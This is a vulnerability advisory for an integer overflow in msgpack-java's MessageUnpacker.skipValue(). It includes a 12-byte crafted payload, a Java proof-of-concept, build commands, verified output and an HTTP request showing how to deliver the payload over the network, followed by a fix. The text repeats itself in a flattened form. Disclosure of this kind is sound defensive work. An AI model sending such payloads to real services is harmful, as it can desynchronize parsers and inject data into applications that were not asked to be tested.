| Field |
Value |
| Project |
msgpack-java |
| Repository |
https://github.com/msgpack/msgpack-java |
| Affected Version |
<= 0.9.12 |
| Component |
msgpack-core |
| Class |
org.msgpack.core.MessageUnpacker |
| File |
msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java |
| Vulnerable Line(s) |
578–579 |
| Severity |
Medium |
| CVSS 3.1 Score |
Base Score: 6.5 (MEDIUM) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L |
| CWE |
CWE-190, CWE-20 |
Vulnerability Description
skipValue() skips a value using a count variable (initialized to 1). For a MAP32 container (0xdf), it reads a 32-bit element count and multiplies by 2:
// MessageUnpacker.java:578-579
case MAP32:
count += readNextLength32() * 2; // TODO check int overflow
break;
When readNextLength32() returns 0x40000000:
0x40000000 * 2 = 0x80000000 = -2147483648 (Integer.MIN_VALUE)
count = 1 + (-2147483648) = -2147483647
count becomes negative, while (count > 0) is immediately false, and skipValue() returns without consuming the map body. The cursor stays right after the MAP32 header.
Root Cause
readNextLength32() returns a signed int. Values ≥ 0x40000000 overflow when multiplied by 2 and produce a negative count. while (count > 0) exits silently and no exception is thrown. The // TODO check int overflow comment confirms the defect.
Impact
Parser state desynchronization from a silent skipValue() failure. After the overflow, the map body is not consumed. A subsequent read from the same stream consumes bytes intended to be skipped.
Affected applications use MessageUnpacker directly and call skipValue() to skip unknown fields before reading later fields (forward-compatible RPC frameworks, game servers, IoT gateways). The Jackson integration (MessagePackParser) does not call skipValue() and is unaffected.
Affected Code
// MessageUnpacker.java (skipValue, lines 518-587)
private void skipValue(int count) throws IOException {
while (count > 0) {
byte b = readByte();
MessageFormat mf = MessageFormat.valueOf(b);
switch (mf) {
case MAP32:
count += readNextLength32() * 2; // TODO check int overflow ← LINE 579
break;
}
count--;
}
}
Proof of Concept
Environment: OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54).
Payload (12 bytes): 92 df 40 00 00 00 a5 70 77 6e 65 64
Offset Hex Description
0x00 92 fixarray[2] - outer wrapper
0x01 df MAP32 format byte
0x02-05 40.. MAP32 size = 0x40000000
0x06 a5 fixstr(5)
0x07-0b 'p' 'w' 'n' 'e' 'd'
Test sequence: unpackArrayHeader() → skipValue() → unpackValue(). skipValue() returns with no exception, and the following unpackValue() reads pwned, confirming cursor desynchronization.
POC Source
File: poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java
package org.msgpack.poc;
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ImmutableValue;
public class Poc2_MAP32_IntegerOverflow {
public static void run() throws Exception {
byte[] testPayload = buildSkipTestPayload();
try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(testPayload)) {
unpacker.unpackArrayHeader();
unpacker.skipValue();
if (unpacker.hasNext()) {
ImmutableValue nextVal = unpacker.unpackValue();
System.out.println("[VULNERABILITY CONFIRMED] Parser read injected data: " + nextVal);
}
}
}
// fixarray[2] { MAP32(size=0x40000000), fixstr "pwned" }
static byte[] buildSkipTestPayload() {
return new byte[]{
(byte) 0x92,
(byte) 0xdf, 0x40, 0x00, 0x00, 0x00,
(byte) 0xa5, 'p', 'w', 'n', 'e', 'd'
};
}
public static void main(String[] args) throws Exception {
run();
}
}
Build & run:
MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar
javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \
poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java
java --add-opens=java.base/java.nio=ALL-UNNAMED \
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED \
-cp "poc-project/target/classes:$MSGPACK_CORE" \
org.msgpack.poc.Poc2_MAP32_IntegerOverflow
Verified Output
Array size: 2
Calling skipValue() on MAP32...
[RESULT] skipValue() returned WITHOUT properly skipping the MAP!
[VULNERABILITY CONFIRMED] Parser read injected data: pwned
readNextLength32() returns: 0x40000000 = 1073741824
* 2 = -2147483648 (0x80000000)
Result == Integer.MIN_VALUE: true
Network vector:
POST /api/msgpack HTTP/1.1
Content-Type: application/x-msgpack
Content-Length: 12
\x92\xdf\x40\x00\x00\x00\xa5pwned
Remediation
Use overflow-safe arithmetic:
case MAP32: {
long mapSize = readNextLength32();
long added = Math.multiplyExact(mapSize, 2L);
if (added > Integer.MAX_VALUE - count) {
throw new MessageSizeException("MAP32 size overflow", mapSize);
}
count = (int)(count + added);
break;
}
Apply the same fix to the ARRAY32 branch (line 573). MAP16 and ARRAY16 use readNextLength16() (max 65,535) and cannot overflow.
References
msgpack-coreorg.msgpack.core.MessageUnpackermsgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.javaCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LVulnerability Description
skipValue()skips a value using acountvariable (initialized to 1). For a MAP32 container (0xdf), it reads a 32-bit element count and multiplies by 2:When
readNextLength32()returns0x40000000:countbecomes negative,while (count > 0)is immediately false, andskipValue()returns without consuming the map body. The cursor stays right after the MAP32 header.Root Cause
readNextLength32()returns a signedint. Values ≥0x40000000overflow when multiplied by 2 and produce a negativecount.while (count > 0)exits silently and no exception is thrown. The// TODO check int overflowcomment confirms the defect.Impact
Parser state desynchronization from a silent
skipValue()failure. After the overflow, the map body is not consumed. A subsequent read from the same stream consumes bytes intended to be skipped.Affected applications use
MessageUnpackerdirectly and callskipValue()to skip unknown fields before reading later fields (forward-compatible RPC frameworks, game servers, IoT gateways). The Jackson integration (MessagePackParser) does not callskipValue()and is unaffected.Affected Code
Proof of Concept
Environment: OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54).
Payload (12 bytes):
92 df 40 00 00 00 a5 70 77 6e 65 64Test sequence:
unpackArrayHeader()→skipValue()→unpackValue().skipValue()returns with no exception, and the followingunpackValue()readspwned, confirming cursor desynchronization.POC Source
File:
poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.javaBuild & run:
Verified Output
Network vector:
Remediation
Use overflow-safe arithmetic:
Apply the same fix to the ARRAY32 branch (line 573). MAP16 and ARRAY16 use
readNextLength16()(max 65,535) and cannot overflow.References
msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java, lines 578–579